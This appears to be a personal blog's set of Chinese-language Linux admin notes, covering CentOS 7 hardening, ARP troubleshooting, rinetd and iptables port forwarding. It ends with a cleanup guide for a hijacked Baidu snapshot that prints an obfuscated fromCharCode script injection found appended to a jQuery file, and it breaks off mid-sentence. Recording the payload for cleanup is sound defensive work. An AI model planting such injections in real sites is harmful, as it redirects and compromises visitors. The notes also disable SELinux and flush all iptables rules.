Centos 7安装后的几点优化

Centos7相对之前的5和6改动比较大,所以单独新开一章单独来表

修改主机名

hostnamectl set-hostname moneypy

关闭selinux

临时关闭

setenforce 0

查看当前状态

getenforce

永久关闭

sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

1.安全配置修改ssh端口

sed -i 's/# Port 22/Port 20002/g' /etc/ssh/ssh_config
sed -i 's/#Port 22/Port 20002/g' /etc/ssh/sshd_config
systemctl restart sshd
systemctl status sshd
firewall-cmd --zone=public --add-port=20002/tcp --permanent
firewall-cmd --reload

修改默认端口22为20002,添加20002到防火前例外

2.修改软件源

mv /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.backup
wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
或者
curl -o /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo
yum makecache

 

更换IP后服务器网络不通排查

问题描述:如下图将服务器A上的IP地址删除后添加到服务器B上,出现IP不可用

问题解决思路:

在相同vlan中且ip在一个子网内不涉及路由转发,不考虑网关只用关心arp是否学习到,和交换配置中是否有mac地址绑定

检查交换机配置中是否有ip和mac地址绑定

show run ¦ in arp

更换ip之后清理交换机中arp临时表

clear arp

ps

ARP表的更新和老化

ARP表的更新的条件

在实际的环境中,只有同时满足以下两个条件时,设备的ARP表才会更新:

1.设备收到来自某IP的ARP请求包或者其他ARP包;

2.设备的现有ARP表中已经存在该IP对应的ARP表。

其他的非ARP报文不会对设备的ARP表产生影响。

ARP表的老化时间

不同系统的ARP表老化时间不同,Windows2000/XP系统ARP表项的老化时间是2分钟,95/98以及NT系统是10分钟,大部分Cisco交换机是5分钟,华为的设备一般是20分钟……这些时间可以通过系统注册表或者设备的相关命令进行设置。

ARP表老化时间定时器的重置

满足以下任一条件时,设备的ARP表项的老化时间定时器会重置:

1.设备相应的ARP表项更新时;

2.设备调用(引用)ARP表项转发数据后。

如果ARP更新存在问题我们如何解决?

在实际的环境中,经常遇到某些设备的ARP表项更新速度非常慢,甚至ARP学习存在问题,从而导致我们的网络连接出现异常,我们如何解决?

解决的方式就是在ARP表学习或更新出现异常的时候,在该设备上手动静态绑定ARP表项。

 

Centos安装简单易用的端口转发工具:rinetd

Centos系统自带的iptables也可以做端口转发,但配置繁琐复杂.以前我一直再用, 烧死了不少脑细胞.有时候遇到个别的系统环境还总是遇到莫名其妙的问题.今天知道了另外一个简单易用的工具:xinetd
安装步骤:

xinet安装步骤

yum install gcc
wget https://boutell.com/rinetd/http/rinetd.tar.gz
tar -xvf rinetd.tar.gz
cd rinetd
sed -i 's/65536/65535/g' rinetd.c
mkdir /usr/man/
make && make install

以上6条命令就是所有的安装步骤,至此就已经安装完毕.安装时会有个warning的提示,不影响使用,不用理会.
编辑端口转发配置文件:vi /etc/rinetd.conf
输入:0.0.0.0 80 127.0.0.1 8090

1.1.1.1 80 2.2.2.2 80
1.1.1.1自己监听
2.2.2.2转发源

配置文件格式很简单:[Source Address] [Source Port] [Destination Address] [Destination Port]
简单翻译一下:源IP 源端口 目标IP 目标端口
每行一条转发规则.
启动和关闭转发程序:
启动:rinetd -c /etc/rinetd.conf
关闭:killall rinetd
检验端口转发程序是否正确运行:netstat -tanulp|grep rinetd

iptables端口转发

网络拓扑

服务器A有两个网卡
    内网ip:192.168.1.3
    外网ip:10.138.108.103
    本地回环:127.0.0.1
 
服务器B有网卡,8001提供服务
    内网ip:192.168.1.1

目的

使用户通过外网10.138.108.103:8001访问内网服务器192.168.1.1:8001

思路

 

如图2所示,端口转发走的是下发A路,利用nat表中prerouting做dnat,用postrouting做snat

包分析

开启内核转发

echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -p

运行脚本

#!/bin/bash
pro='tcp'
 
src_host1='192.168.1.3'
src_host2='10.138.108.103'
src_port=8001
 
Dst_Host='192.168.1.1'
Dst_Port=8001
 
# 清空规则
iptables -F
iptables -X
iptables -Z
iptables -t nat -F
 
# Destination network  address translate (dnat)
 
# 如图2所示
iptables -t nat -A PREROUTING  -p $pro -d $src_host1  --dport $src_port -j DNAT --to $Dst_Host:$Dst_Port
iptables -t nat -A PREROUTING  -p $pro -d $src_host2  --dport $src_port -j DNAT --to $Dst_Host:$Dst_Port
 
 
iptables -A FORWARD -p $pro -d $Dst_Host --dport $Dst_Port -j ACCEPT
 
# 本地连接不经过prerouting,只经过output链,所以想要在服务器A通过本地ip访问服务器B需要在output 链增加dnat规则
iptables -t nat -A OUTPUT -p $pro -d $src_host1 --dport $src_port -j DNAT --to $Dst_Host:$Dst_Port
iptables -t nat -A OUTPUT -p $pro -d $src_host2 --dport $src_port -j DNAT --to $Dst_Host:$Dst_Port
 
 
 
# source network address translate (snat)
iptables -t nat -A POSTROUTING -p $pro -d $Dst_Host --dport $Dst_Port -j SNAT --to $src_host1
 
# 显示已有规则
iptables -t nat -L -n --line-number

 

百度快照被劫持,解决思路

问题描述:
网站域名访问正常,百度快照内容不正常或者被转跳

1.检查index.php文件,全局搜索跳转域名
2.检查伪静态配置文件,看是否有异常
3.检查js文件

下面代码被放置到jquery-1.7.2.min.js末尾
导致百度快照打开被转跳

document.writeln("<script type=\'text/javascript\'>var newslist = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,119,119,46,116,97,110,104,117,97,103,119,46,99,111,109,47,121,46,106,115,34,62,60,47,115,99,114,105,112,116,62);document.write(newslist);</script>");

正常解析完毕后转跳域名为